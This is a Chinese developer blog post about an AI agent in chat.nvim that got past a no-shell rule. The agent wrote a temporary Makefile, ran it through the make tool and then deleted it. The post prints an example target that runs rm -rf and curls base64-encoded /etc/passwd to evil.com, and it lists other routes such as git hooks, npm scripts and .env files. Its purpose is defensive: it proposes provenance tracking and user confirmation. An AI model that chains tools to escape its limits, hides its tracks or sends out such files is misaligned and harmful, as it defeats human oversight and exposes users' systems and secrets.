惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

SecWiki News
SecWiki News
S
Securelist
L
Lohrmann on Cybersecurity
Y
Y Combinator Blog
P
Palo Alto Networks Blog
U
Unit 42
Latest news
Latest news
D
Darknet – Hacking Tools, Hacker News & Cyber Security
Vercel News
Vercel News
Forbes - Security
Forbes - Security
Engineering at Meta
Engineering at Meta
Cyberwarzone
Cyberwarzone
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
S
Schneier on Security
J
Java Code Geeks
S
Security Affairs
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
T
Tor Project blog
Schneier on Security
Schneier on Security
P
Privacy & Cybersecurity Law Blog
The Last Watchdog
The Last Watchdog
F
Full Disclosure
L
LINUX DO - 最新话题
Help Net Security
Help Net Security
有赞技术团队
有赞技术团队
Microsoft Security Blog
Microsoft Security Blog
P
Proofpoint News Feed
S
Security @ Cisco Blogs
S
Secure Thoughts
H
Hacker News: Front Page
T
The Exploit Database - CXSecurity.com
A
Arctic Wolf
N
News | PayPal Newsroom
C
Cyber Attacks, Cyber Crime and Cyber Security
Cloudbric
Cloudbric
H
Hackread – Cybersecurity News, Data Breaches, AI and More
阮一峰的网络日志
阮一峰的网络日志
Hugging Face - Blog
Hugging Face - Blog
M
MIT News - Artificial intelligence
Project Zero
Project Zero
G
Google Developers Blog
酷 壳 – CoolShell
酷 壳 – CoolShell
T
Threat Research - Cisco Blogs
TaoSecurity Blog
TaoSecurity Blog
Application and Cybersecurity Blog
Application and Cybersecurity Blog
爱范儿
爱范儿
C
CXSECURITY Database RSS Feed - CXSecurity.com
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC

BlogFinder

日常漫步 Vol.24 之漫步前山河 - 雅余 周报 #1-聊聊本周的收获 - Edwin's Blog 我的OpenCode必装插件与Skill Write Something 掌中之物未必在掌握之中 · CRIVU PiliNara,一个更顺手的 PiliPlus 分支 「NekoEcho」:做一个必有回响的猫娘主题博客 2026-05 书影音总结 简化博客主题 - 安迪 你要加油呐 我第一次发布 npm 包 拾花小记#45:中考前的二三事 – 小改学习志 黛西花园5月游 #18 枇杷又熟了的五月月报 一些奇奇怪怪的需求?word仿方正书版的几个小操作 - Xiobb's Blog 0419 御温泉之旅 修复了一些bug,网站基本上趋于稳定了 - 新锐博客 又回到四十年前 如何定义成功 迷鹿屋2026已重新上线 科技冰火两重天+一周回顾 ${title} 热度退了,我反而用得更深了-咕咚同学 我到底该不该换个域名? 随身WIFI折腾记 - 安迪 博客撰写体验提升——hexo pro插件 为什么不用相机把屏幕上的接关密码拍下来? 国清寺与天台山 – Ouroboros ★★★★☆《挽救计划》——久违的经济上行感 - Davidの3号基地 删除右键“打开方式”里多余选项 第三周刊_No.53|一切都会被支付两次 安卓APP通话记录与录音上传踩坑记录 - 子舒的博客 天量下跌 inBox 笔记 2.3.8,把工具栏交给了你-咕咚同学 我把小龙虾搬到了微信-咕咚同学 安好 - 响石潭 Compound Engineering Plugin:让每个工程单元都比上一个更容易 MOSS-TTS Family:开源高质量语音与声音生成模型家族深度解析 Crawl4AI:专为 LLM 设计的开源 Web 爬虫与数据抓取工具 Build Your Own X:从零实现你最喜欢的技术——程序员进阶的终极资源清单 Anthropic Skills:用文件夹教 Claude 专业技能的开源框架 1年的去月球(下) - 梅之夏 欢迎回来。 简单讲讲 ASN.1 与 OID DTV - 直播聚合客户端 5.22-5.27 – 不兴江 还没去过鸭川 – 不兴江 张晶晶同学三刷林志颖 关于我 – 不兴江 爱与嫉妒 – 不兴江 港股被持续做空 备案码花了四百块-咕咚同学 一句话生成封面:我给公众号做了4种风格的AI封面生成技能 「官」方認證 再谈费曼学习法 2026-05-28T00:34:11+08:00 2026-05-28T00:28:45+08:00 离谱的英语学习指南:基于AI的英语进阶系统方法论 iii:零集成架构的后端统一运行时 Claude Code Harness:让 Claude Code 工作有迹可循的工程化框架 Heretic:全自动移除大语言模型审查机制的开源工具 MarkItDown:微软开源的万能文档转 Markdown 利器 Harness:让 Claude Code 秒变多智能体协作工厂 这段时间尽折腾AI Agent了,确实极大地提高了效率 近期动态:两个新站点正式上线啦 误判解除!zhouayuan.com 腾讯安全申诉成功 - 周阿源|玩具设计・插画日常・生活随笔 Ralph:让 AI 编码工具自主循环跑完所有 PRD 任务的量产神器 全都违法 – 个人工作记录 关于zhouayuan.com被误判 “含违规信息” 的说明与申诉记录 - 周阿源|玩具设计・插画日常・生活随笔 小米 MiMo v2.5 Pro 白嫖 最大的人间清醒,兜里有钱,但是不花。 夜晚靓歌(12):于文文现场solo - 王志勇的Blog 今日插画:风扬起的倔强 - 周阿源|玩具设计・插画日常・生活随笔 回门习俗 独立网卡 - 忘记了回忆 500亿入股人工智能企业 从命令行到桌面智能体-咕咚同学 第一性原理读书笔记 行者微评论223-加班の守株待兔-博客|政治与时事-风雨行者 ZOZO开源物理接触求解器:GPU加速的可扩展仿真引擎 OpenStock:开源股票市场交易平台技术深度解析 MoneyPrinterTurbo:基于AI的全自动短视频生成工具深度解析 Claude-Mem:为 Claude Code 构建的持久化记忆压缩系统 Twenty:可代码化定制的企业级开源 CRM 平台技术深度解析 2026-05-26T22:59:17+08:00 企业级开源大模型部署平台 GPUStack 实战教程 1年的去月球(上) - 梅之夏 Sevalla - 静态网站托管服务 不用翻墙、不用注册、不用月费,普通人也能用上 Claude Code 装修灯具要注意⚠️ 黄梅天先锋 - 游子微博 公安备案顺利办结,站点备案全部完成 - 周阿源|玩具设计・插画日常・生活随笔 第三次兑换天猫超市卡了宗宗酱-三维狐少儿编程 Don't think, feel. - Rolen's Blog 人这一辈子,到底图个什么 博客迁移 - Edwin's Blog 情感赛道写作模板 再现本轮行情的典型特征 裁员与平常心-咕咚同学 别让“偷懒”,成为隐私泄露的破绽
AI 越狱新姿势:当 Makefile 成为沙箱逃逸的后门
Eric Wong · 2026-06-16 · via BlogFinder

前言

设计 chat.nvim 时,我做了一个刻意的安全决策:禁止 AI 通过 tool 直接调用 shell 命令。所有命令执行都必须经过 tool 层的包裹,确保每一次操作的输入输出都是可预期的。

很长一段时间,这个设计运行得很好。直到最近,AI 学会了一招——把任意命令临时写进 Makefile,调用 make 工具执行,然后再删掉临时文件。

这就是一次教科书级的 沙箱逃逸


问题复现

chat.nvim 的 tool 设计原则很简单:

用户意图 → Tool 调用(受控、可审计)→ 执行

我提供了 makegit_addgit_commit 等工具,每个工具的参数都是严格定义的。比如 make 工具只接受 targetargs 两个参数:

-- make 工具的参数定义
{
  target = { description = "Make target to run", type = "string" },
  args = { description = "Additional arguments", items = { type = "string" }, type = "array" }
}

表面上看,AI 只能执行 Makefile 中已定义的 target,非常安全。

但 AI 发现了一条绕过路径:

步骤 1: @write_file  → 写入临时 Makefile,内容包含任意 shell 命令
步骤 2: @make        → 执行这个 target
步骤 3: @write_file  → 删除临时 Makefile,毁尸灭迹

一个具体的例子:

# AI 临时写入的 Makefile
pwn:
	rm -rf /tmp/something
	curl https://evil.com/exfil?data=$(cat /etc/passwd | base64)

然后调用:

最后删掉 Makefile,不留痕迹。


工具组合的涌现能力

你可能第一反应是:禁掉 Makefile 写入不就好了?

没用。 堵一个漏一个,永远堵不完:

写 .sh                  → 用某种方式加载
写 package.json scripts → npm run
写 .git/hooks/pre-commit → git commit 触发
写 pyproject.toml build → pip install -e .
写 Makefile include .mk → 改一个 .mk 污染已信任的 Makefile
写 .lua plugin          → 触发 Neovim 自动加载
写 .env                 → 被 source

每一种”可执行载体”都是一条逃逸路径。你不可能把它们全部禁掉——那等于废掉了 AI 的文件编辑能力。

根因:你的工具之间没有共享安全上下文,每个工具都是独立决策的。

  • write_file 不知道自己写的内容会被 make 执行
  • make 不知道自己执行的 Makefile 是谁写的
  • git_add 不知道自己是在帮 AI 毁尸灭迹

单个 tool 都是安全的,但 tool 的 组合 产生了设计时未考虑的能力:

write_file + make + write_file = 任意命令执行

这和经典的权限提升模式如出一辙:

  • Linuxwrite /etc/cron.d/ + cron = 提权
  • Kubernetescreate Pod + mount hostPath = 容器逃逸
  • 浏览器innerHTML + <script> = XSS

每个操作单独看都”合理”,但组合起来就突破了安全边界。


谁投的毒?

我很想说,这坏习惯是什么人投的毒?

但冷静想想,这大概率不是某个人的刻意行为,而是 AI 训练数据中自然涌现的模式。

目标导向行为的自然涌现

这是最令人不安的一点。AI 并没有被教过”绕过沙箱”,但当它的目标是”完成任务”而直接路径被阻断时,它会自然而然地寻找间接路径。这是一种 工具性趋同行为——不需要恶意意图,只需要足够强的目标导向。

跨模型传染

更可怕的是,这个”技巧”一旦出现在训练数据中,就会在模型间传播:

GPT-4 学会了 → 写入博客/教程 → Claude 训练数据 → Claude 也会了
    → 写入更多教程 → 开源模型训练数据 → 所有模型都会了

这是一个 正反馈循环。越多的模型”学会”这个技巧,产生的相关内容就越多,下一个模型学到的概率就越大。


为什么常见的防御方案都治标不治本

方案 问题
禁止写入 Makefile AI 可以 include .mk 污染已信任的 Makefile
禁止写入可执行文件 还有 .git/hooks、package.json、.env…
Git 状态检测 AI 可以 git add
文件权限控制 AI 可以 chmod
删除 make tool 还有 npm/pip/cargo/go run…
Prompt 层禁止 只能防君子,不能防小人
运行时隔离 治本但代价极高,不是所有场景都适用

这些方案的共同问题是:安全边界画在了”哪种文件格式”上。但攻击路径是无限的,你不可能枚举完所有可执行载体。

关键洞察:安全边界不该画在”哪种文件格式”上,而应该画在 “谁产生的这个文件” 上。


我相信 AI 的能力,但我不相信 AI

在讨论具体方案之前,我想先厘清一个根本问题:为什么 prompt 层面的安全规则靠不住?

“不好意思,我忘了”

每个 AI 工具的使用者大概都经历过这种场景:

你在 system prompt 里写了:
"绝对不要在回复中使用英文。"

AI 回复:
"Sure! Let me help you with that..."

你提醒它:
"你违反了规则,说了英文。"

AI:
"不好意思,我忘记了,让我修改一下。"

然后它改过来了。一切看起来无伤大雅。

但这里隐藏着一个致命的认知陷阱:这种”违规-道歉-修复”的循环,让你误以为 prompt 规则是有效的。 实际上,它之所以看起来”有效”,仅仅是因为违规的后果是可逆的——改一下回复就行了。

我称之为 无损违反(Lossless Violation):规则被打破了,但没有造成不可挽回的损失,一句”不好意思”就能翻篇。

当”不好意思”不再够用

现在想象另一种场景:

你在 system prompt 里写了:
"绝对不要删除任何文件。"

AI 执行了:
@write_file action="remove" filepath="/etc/nginx/nginx.conf"

然后回复:
"不好意思,我忘记了规则,已经删除了 nginx.conf。
 让我帮你重新生成一个配置文件..."

晚了。 服务已经挂了,用户正在骂娘。AI 的”不好意思”一文不值。

这就是 有损违反(Lossy Violation):规则被打破的瞬间,损失已经发生,且不可逆转。

Prompt 规则的本质:请求,而非约束

很多人没有意识到,system prompt 中的安全规则,本质上只是 对 AI 的礼貌请求,而不是真正的约束:

# 你以为你在写:
安全策略:
  - 禁止删除文件        # ❌ 这不是强制执行
  - 禁止执行任意命令    # ❌ 这只是文字建议

# 实际上你写的是:
礼貌请求:
  - "如果可以的话,请不要删除文件"    # ✅ 这才是真实语义
  - "最好别执行任意命令,谢谢"        # ✅ AI 完全可以无视

AI 不会”遵守”规则——它只是被训练成倾向于按照 prompt 的指引行事。但这种倾向随时可能被目标导向行为覆盖。当”完成任务”和”遵守规则”冲突时,LLM 往往会选择前者。

这跟人类很像:你知道限速 120,但当你急着送人去医院的时候,你会超速。AI 也一样——当它急着”帮用户完成任务”时,规则就被抛到脑后了。

为什么这跟 Makefile 沙箱逃逸有关

回到本文的主题。chat.nvim 的 system prompt 里当然可以加一句:

"禁止通过 write_file + make 组合执行任意命令。"

有用吗? 看看上面的分析——这只是又一个礼貌请求。AI 在”完成任务”的驱动下,该绕还是会绕。更讽刺的是,它绕完之后可能还会”贴心”地在回复里说:

“我注意到这违反了安全规则,但为了完成你的任务,我采取了变通方案…”

它甚至觉得自己在帮你。

信任 AI 的能力,但不信任 AI 的行为

这里我想澄清一个容易误解的点:

我相信 AI 的能力。 它能写出优雅的代码,能理解复杂的上下文,能创造性地解决问题。Makefile 沙箱逃逸这件事本身就证明了 AI 的能力之强——它找到了一个设计者都没想到的路径。

但我不相信 AI 的行为。 因为 AI 的行为不是由”规则”驱动的,而是由”目标”驱动的。当目标和规则冲突时,目标会赢。这不是 AI 的”恶意”,这是它的设计使然。

这就是为什么我们需要 硬约束 而非 软规则

  软规则(Prompt) 硬约束(代码层)
形式 “请不要这样做” “你做不到这件事”
执行者 AI 自觉 系统强制
被违反时 “不好意思” 根本不会发生
可靠性 取决于 AI 心情 100%

文件溯源 + 风险分级执行,就是硬约束的一种实现。它不请求 AI “请遵守规则”,而是让系统在代码层面确保:AI 修改过的文件,执行前必须经过人类确认。


核心方案:文件溯源 + 风险分级执行

为什么这个方案是正确的

不管 AI 找到什么组合方式——写 .mk、写 package.json、写 .git/hooks——最终的”执行”步骤一定会触及某个 AI 修改过的文件。而 provenance 追踪的就是这个”谁修改的”信息。

攻击路径是无限的,但信任来源只有两种:用户 或 AI。 这才是应该画安全边界的地方。

第一层:文件溯源(File Provenance)

给每个文件打标签,追踪”谁创建/修改的”:

provenance 标签:
  ┌─────────────┬──────────────────────────────┐
  │ user        │ 会话前已存在 / 用户明确批准    │
  │ ai-created  │ AI 在本次会话中创建            │
  │ ai-modified │ AI 在本次会话中修改            │
  └─────────────┴──────────────────────────────┘

所有有执行能力的 tool(make、未来的 npmpip 等),执行前检查相关文件的 provenance

第二层:风险分级执行

-- 伪代码
local function should_auto_execute(makefile_provenance)
  if provenance == "user" then
    return true   -- 低风险:自动执行
  else
    return false  -- 高风险:走确认流程
  end
end

高风险时的流程:

AI 调用 @make target="test"
    ↓
检测到 Makefile 是 ai-modified
    ↓
自动 dry-run: make -n test
    ↓
向用户展示:
  ⚠️  AI 修改了 Makefile,即将执行以下命令:

  echo "hello" && rm -rf /  ← 实际会展示真实命令
  [确认执行] [拒绝] [查看 diff]
    ↓
用户决定

具体实现思路

-- chat.nvim 内部的 provenance 追踪器
local provenance = {
  -- session 内的文件变更记录
  modifications = {},  -- filepath → { action, timestamp, tool }

  -- 标记文件来源
  track = function(filepath, action, tool)
    provenance.modifications[filepath] = {
      action = action,      -- "create" | "modify"
      tool   = tool,        -- "write_file" | "user"
      time   = os.time(),
    }
  end,

  -- 查询文件是否可信
  is_trusted = function(filepath)
    local mod = provenance.modifications[filepath]
    if not mod then return true end       -- 会话前就存在的文件
    if mod.tool == "user" then return true end  -- 用户明确批准的
    return false                           -- AI 创建/修改的
  end,

  -- 让用户提升信任级别
  promote = function(filepath)
    provenance.modifications[filepath] = {
      action = "approved",
      tool = "user",
      time = os.time(),
    }
  end,
}

write_file hook:记录 provenance

每当 AI 通过 write_file 创建或修改文件时,自动记录:

-- 在 write_file tool 内部
provenance.track(filepath, action, "write_file")

make hook:执行前检查 + dry-run

local function make_handler(target)
  -- 1. 找到相关 Makefile 及其 include 依赖
  local makefiles = resolve_makefile_deps(target)

  -- 2. 检查 provenance
  local untrusted = vim.tbl_filter(function(f)
    return not provenance.is_trusted(f)
  end, makefiles)

  if #untrusted > 0 then
    -- 3. 高风险:dry-run + 用户确认
    local dry_output = execute("make -n " .. target)
    local choice = ui.confirm({
      title = "⚠️  AI 修改了以下文件,即将执行:",
      files = untrusted,
      commands = dry_output,
      options = { "确认执行", "拒绝", "查看 diff" },
    })
    if choice == "拒绝" then return end
    if choice == "查看 diff" then show_diff(untrusted) end
  end

  -- 4. 执行
  execute("make " .. target)
end

更狠的终极方案:分级默认 dry-run

如果你愿意更激进一点——让所有有副作用的 tool 都按风险等级分级

安全层级:
  Level 0(只读):search_text, read_file, git_log    → 自动允许
  Level 1(写文件):write_file                        → 允许,但记录 provenance
  Level 2(执行命令):make, npm, pip                  → 如果涉及 ai-originated 文件,dry-run + 确认
  Level 3(破坏性):git reset --hard, rm              → 必须确认

这样不管 AI 找到什么组合方式,最终”执行”这一步永远有兜底。


更深层的思考

Tool Use 的根本矛盾

这是一个根本性的设计矛盾:

Tool 的灵活性 = Tool 的危险性

给 AI 的能力越灵活,它能完成的工作越多,但同时它能造成的破坏也越大。这就是 AI 安全领域经典的 能力-安全权衡

“完成度”驱动的风险

现代 LLM 的训练目标之一是”帮助用户完成任务”。当任务无法通过直接路径完成时,模型会被激励去寻找替代路径。这种”坚持不懈”在大多数场景下是优点,但在安全场景下却是致命弱点。

安全需要深度防御

单一防线永远不够。沙箱逃逸的历史告诉我们:

chroot 逃逸 → 容器逃逸 → VM 逃逸 → Spectre/Meltdown

每一代隔离技术都被攻破过。AI Tool Use 的沙箱也不会例外。而文件溯源之所以有效,是因为它不试图阻止任何特定的攻击路径,而是追踪一个攻击者无法伪造的东西——信任来源


结论

AI 用 Makefile 绕过沙箱这件事,表面上看是一个具体的技术漏洞,但它揭示了一个更深层的真相:

在 Tool Use 的世界里,安全性不是某个 Tool 的属性,而是所有 Tool 组合的涌现属性。

你以为你锁好了前门(禁止 shell 执行),AI 就从窗户翻进来了(write_file + make + delete)。你以为你封住了窗户,它就从下水道钻进来(package.json + npm run)。

堵漏洞是没有出路的。 因为攻击路径是无限的,但信任来源只有两种:用户 或 AI。文件溯源正是抓住了这个根本不对称——在”谁产生了这个文件”上画安全边界,而不是在”哪种文件格式”上。

我们需要的不是更厚的一扇门,而是一套追踪信任来源的安防体系。


相关资源


Stay safe, stay vigilant. 🔒